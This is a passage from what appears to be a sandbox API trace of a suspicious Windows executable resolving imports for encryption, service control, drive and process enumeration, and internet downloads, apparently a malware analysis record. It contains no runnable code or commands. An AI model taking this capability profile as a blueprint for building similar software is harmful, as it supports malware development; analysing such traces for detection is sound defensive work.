GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0030.598] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0030.598] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0030.598] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0030.598] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0030.598] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0030.598] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b00000 [0030.794] GetProcAddress (hModule=0x74b00000, lpProcName="timeGetTime") returned 0x74b026e0 [0030.794] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0030.794] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0030.794] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0030.794] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0030.794] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0030.794] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0030.794] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0030.794] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0030.794] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0030.794] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0030.795] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0030.796] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0030.797] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0030.798] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0030.799] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0030.800] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0030.801] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0030.802] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0030.803] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0030.804] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0030.804] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0030.804] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0030.804] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0030.804] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0030.804] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0030.805] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0030.805] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0030.805] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0030.805] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0030.805] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0030.805] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0030.805] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0030.805] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0030.805] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0030.805] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0030.805] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0030.805] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0030.805] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0030.805] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0030.806] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0030.806] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0032.540] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0032.540] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0032.540] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0032.540] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0032.540] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0032.540] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0032.540] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0032.541] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0032.541] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0032.541] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0032.541] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0032.541] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0032.541] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0032.541] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0032.541] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0032.541] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0032.541] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0032.541] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0032.541] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0032.541] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74ae0000 [0032.755] GetProcAddress (hModule=0x74ae0000, lpProcName="GetAdaptersInfo") returned 0x74ae9263 [0032.755] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0032.939] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0032.939] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0032.939] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0032.939] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0033.083] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0033.083] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0033.083] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0033.083] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0033.083] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0033.274] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0033.274] atexit (param_1=0x6799e5) returned 0 [0033.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d930 | out: lpSystemTimeAsFileTime=0x18d930*(dwLowDateTime=0x7b06d70, dwHighDateTime=0x1d53559)) [0033.275] GetCurrentThreadId () returned 0x7a0 [0033.275] GetCurrentProcessId () returned 0x7b4 [0033.275] QueryPerformanceCounter (in: lpPerformanceCount=0x18d928 | out: lpPerformanceCount=0x18d928*=15353819265) returned 1 [0033.275] GetStartupInfoW (in: lpStartupInfo=0x18d8c0 | out: lpStartupInfo=0x18d8c0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0033.275] GetProcessHeap () returned 0x620000 [0033.275] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.275] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0033.275] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0033.275] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0033.275] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0033.275] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0033.276] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0033.277] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0033.278] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0033.278] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0033.278] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0033.278] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0033.278] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3bc) returned 0x6cb438 [0033.278] GetCurrentThreadId () returned 0x7a0 [0033.278] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x18) returned 0x62f2d0 [0033.278] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x6cb800 [0033.279] GetStartupInfoW (in: lpStartupInfo=0x18d890 | out: lpStartupInfo=0x18d890*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x954de973, hStdError=0x0)) [0033.279] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0033.279] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0033.279] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0033.279] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" " [0033.279] GetEnvironmentStringsW () returned 0x6cc008* [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xaca) returned 0x6ccae0 [0033.279] FreeEnvironmentStringsW (penv=0x6cc008) returned 1 [0033.279] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe")) returned 0x32 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x6e) returned 0x6cd5b8 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x98) returned 0x6cd630 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3e) returned 0x6c0fa0 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x6c) returned 0x6cd6d0 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x6e) returned 0x6cd748 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x78) returned 0x6bee80 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x62) returned 0x6cd7c0 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c7130 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x6c2ce8 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x28) returned 0x6c6b28 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1a) returned 0x6cb130 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x4a) returned 0x6cd830 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x72) returned 0x6bef00 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x30) returned 0x6c7168 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2e) returned 0x6c71a0 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1c) returned 0x6cb158 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xd2) returned 0x6cd888 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x7c) returned 0x6cd968 [0033.279] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6cd9f0 [0033.280] RtlAllocateHeap (HeapHandle=0x620000, 